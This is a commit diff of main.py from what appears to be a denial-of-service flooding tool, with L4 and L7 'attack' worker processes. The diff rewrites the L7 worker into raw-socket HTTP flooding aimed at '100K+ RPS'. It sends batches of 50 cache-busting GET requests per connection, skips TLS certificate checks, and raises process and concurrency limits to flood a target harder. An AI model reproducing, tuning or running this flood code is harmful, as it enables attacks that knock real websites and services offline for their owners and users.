Update main.py
Browse files
main.py
CHANGED
|
@@ -35,23 +35,23 @@ app = FastAPI(
|
|
| 35 |
CPU_COUNT = psutil.cpu_count(logical=True) or 8
|
| 36 |
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
|
| 37 |
|
| 38 |
-
#
|
| 39 |
-
#
|
| 40 |
if CPU_COUNT >= 32:
|
| 41 |
-
# High-core systems (32-64+ cores) -
|
| 42 |
-
MAX_PROCESSES = CPU_COUNT #
|
| 43 |
-
MAX_CONCURRENCY_PER_PROCESS =
|
| 44 |
elif CPU_COUNT >= 16:
|
| 45 |
-
MAX_PROCESSES = CPU_COUNT *
|
| 46 |
-
MAX_CONCURRENCY_PER_PROCESS = 256
|
| 47 |
-
elif CPU_COUNT >= 8:
|
| 48 |
-
MAX_PROCESSES = CPU_COUNT * 6 # 48 processes for 8 cores
|
| 49 |
MAX_CONCURRENCY_PER_PROCESS = 768
|
|
|
|
|
|
|
|
|
|
| 50 |
else:
|
| 51 |
-
MAX_PROCESSES = CPU_COUNT *
|
| 52 |
-
MAX_CONCURRENCY_PER_PROCESS =
|
| 53 |
|
| 54 |
-
STATS_BATCH_UPDATE_SIZE =
|
| 55 |
TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
|
| 56 |
|
| 57 |
# --- L7 Enhanced Headers Pool ---
|
|
@@ -246,63 +246,93 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
|
|
| 246 |
# OPTIMIZED L7 WORKER PROCESS
|
| 247 |
# ====================================================================================
|
| 248 |
async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
|
| 249 |
-
"""
|
| 250 |
-
ssl_context = ssl.create_default_context()
|
| 251 |
-
ssl_context.check_hostname = False
|
| 252 |
-
ssl_context.verify_mode = ssl.CERT_NONE
|
| 253 |
|
| 254 |
-
#
|
| 255 |
-
|
| 256 |
-
|
| 257 |
-
|
| 258 |
-
|
| 259 |
-
|
| 260 |
-
|
| 261 |
-
|
| 262 |
-
|
| 263 |
|
| 264 |
-
|
| 265 |
-
|
| 266 |
|
| 267 |
-
|
| 268 |
-
|
| 269 |
-
|
| 270 |
-
|
| 271 |
-
|
| 272 |
-
|
| 273 |
-
|
| 274 |
-
|
| 275 |
-
|
| 276 |
-
|
| 277 |
-
|
| 278 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 279 |
try:
|
| 280 |
-
|
| 281 |
-
async with session.get(
|
| 282 |
-
f"{url}?_={req_counter}",
|
| 283 |
-
headers=headers,
|
| 284 |
-
allow_redirects=False
|
| 285 |
-
) as resp:
|
| 286 |
-
_ = await resp.read() # Fully consume response
|
| 287 |
-
local_counter += 1
|
| 288 |
-
req_counter += 1
|
| 289 |
except:
|
| 290 |
-
|
| 291 |
|
| 292 |
-
|
| 293 |
-
|
| 294 |
-
|
| 295 |
-
|
| 296 |
-
|
|
|
|
|
|
|
|
|
|
| 297 |
|
| 298 |
-
#
|
| 299 |
-
if local_counter
|
| 300 |
with shared_counter.get_lock():
|
| 301 |
shared_counter.value += local_counter
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 302 |
|
| 303 |
-
#
|
| 304 |
-
|
| 305 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 306 |
|
| 307 |
def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
|
| 308 |
"""L7 worker process entry point."""
|
|
|
|
| 35 |
CPU_COUNT = psutil.cpu_count(logical=True) or 8
|
| 36 |
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
|
| 37 |
|
| 38 |
+
# EXTREME PERFORMANCE configuration for 100K+ RPS
|
| 39 |
+
# Direct socket approach - maximum workers
|
| 40 |
if CPU_COUNT >= 32:
|
| 41 |
+
# High-core systems (32-64+ cores) - MAXIMUM POWER
|
| 42 |
+
MAX_PROCESSES = CPU_COUNT * 4 # 256 processes for 64 cores
|
| 43 |
+
MAX_CONCURRENCY_PER_PROCESS = 512 # 512 async tasks per process
|
| 44 |
elif CPU_COUNT >= 16:
|
| 45 |
+
MAX_PROCESSES = CPU_COUNT * 6
|
|
|
|
|
|
|
|
|
|
| 46 |
MAX_CONCURRENCY_PER_PROCESS = 768
|
| 47 |
+
elif CPU_COUNT >= 8:
|
| 48 |
+
MAX_PROCESSES = CPU_COUNT * 12 # 96 processes for 8 cores
|
| 49 |
+
MAX_CONCURRENCY_PER_PROCESS = 1024
|
| 50 |
else:
|
| 51 |
+
MAX_PROCESSES = CPU_COUNT * 8
|
| 52 |
+
MAX_CONCURRENCY_PER_PROCESS = 1024
|
| 53 |
|
| 54 |
+
STATS_BATCH_UPDATE_SIZE = 500 # Larger batches for extreme performance
|
| 55 |
TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
|
| 56 |
|
| 57 |
# --- L7 Enhanced Headers Pool ---
|
|
|
|
| 246 |
# OPTIMIZED L7 WORKER PROCESS
|
| 247 |
# ====================================================================================
|
| 248 |
async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
|
| 249 |
+
"""EXTREME PERFORMANCE - Direct socket-based HTTP flooding for 100K+ RPS."""
|
|
|
|
|
|
|
|
|
|
| 250 |
|
| 251 |
+
# Parse target
|
| 252 |
+
if url.startswith('https://'):
|
| 253 |
+
use_ssl = True
|
| 254 |
+
host = url[8:].split(':')[0].split('/')[0]
|
| 255 |
+
port = 443
|
| 256 |
+
else:
|
| 257 |
+
use_ssl = False
|
| 258 |
+
host = url[7:].split(':')[0].split('/')[0]
|
| 259 |
+
port = 80
|
| 260 |
|
| 261 |
+
if ':' in url.split('//')[1]:
|
| 262 |
+
port = int(url.split('//')[1].split(':')[1].split('/')[0])
|
| 263 |
|
| 264 |
+
path = '/' + '/'.join(url.split('//')[1].split('/')[1:]) if '/' in url.split('//')[1] else '/'
|
| 265 |
+
|
| 266 |
+
# Pre-build HTTP request template (minimal overhead)
|
| 267 |
+
http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
|
| 268 |
+
|
| 269 |
+
async def raw_socket_worker(worker_id):
|
| 270 |
+
"""Ultra-fast direct socket worker - NO HTTP library overhead."""
|
| 271 |
+
local_counter = 0
|
| 272 |
+
req_counter = 0
|
| 273 |
+
sock = None
|
| 274 |
+
|
| 275 |
+
while not stop_event.is_set():
|
| 276 |
+
try:
|
| 277 |
+
# Create new socket if needed
|
| 278 |
+
if sock is None:
|
| 279 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 280 |
+
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
| 281 |
+
sock.settimeout(2)
|
| 282 |
+
sock.connect((host, port))
|
| 283 |
+
if use_ssl:
|
| 284 |
+
import ssl as ssl_module
|
| 285 |
+
context = ssl_module.create_default_context()
|
| 286 |
+
context.check_hostname = False
|
| 287 |
+
context.verify_mode = ssl_module.CERT_NONE
|
| 288 |
+
sock = context.wrap_socket(sock, server_hostname=host)
|
| 289 |
+
|
| 290 |
+
# Send rapid-fire requests
|
| 291 |
+
for _ in range(50): # Batch 50 requests per socket
|
| 292 |
+
if stop_event.is_set():
|
| 293 |
+
break
|
| 294 |
+
request = http_template.format(req_counter).encode()
|
| 295 |
+
sock.sendall(request)
|
| 296 |
+
local_counter += 1
|
| 297 |
+
req_counter += 1
|
| 298 |
+
|
| 299 |
+
# Try to read response (non-blocking)
|
| 300 |
+
sock.settimeout(0.01)
|
| 301 |
try:
|
| 302 |
+
_ = sock.recv(4096)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 303 |
except:
|
| 304 |
+
pass
|
| 305 |
|
| 306 |
+
except:
|
| 307 |
+
# Close and reconnect on error
|
| 308 |
+
if sock:
|
| 309 |
+
try:
|
| 310 |
+
sock.close()
|
| 311 |
+
except:
|
| 312 |
+
pass
|
| 313 |
+
sock = None
|
| 314 |
|
| 315 |
+
# Batch counter updates
|
| 316 |
+
if local_counter >= STATS_BATCH_UPDATE_SIZE:
|
| 317 |
with shared_counter.get_lock():
|
| 318 |
shared_counter.value += local_counter
|
| 319 |
+
local_counter = 0
|
| 320 |
+
|
| 321 |
+
# Cleanup
|
| 322 |
+
if sock:
|
| 323 |
+
try:
|
| 324 |
+
sock.close()
|
| 325 |
+
except:
|
| 326 |
+
pass
|
| 327 |
|
| 328 |
+
# Final update
|
| 329 |
+
if local_counter > 0:
|
| 330 |
+
with shared_counter.get_lock():
|
| 331 |
+
shared_counter.value += local_counter
|
| 332 |
+
|
| 333 |
+
# Launch all socket workers
|
| 334 |
+
tasks = [asyncio.create_task(raw_socket_worker(i)) for i in range(concurrency)]
|
| 335 |
+
await asyncio.gather(*tasks, return_exceptions=True)
|
| 336 |
|
| 337 |
def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
|
| 338 |
"""L7 worker process entry point."""
|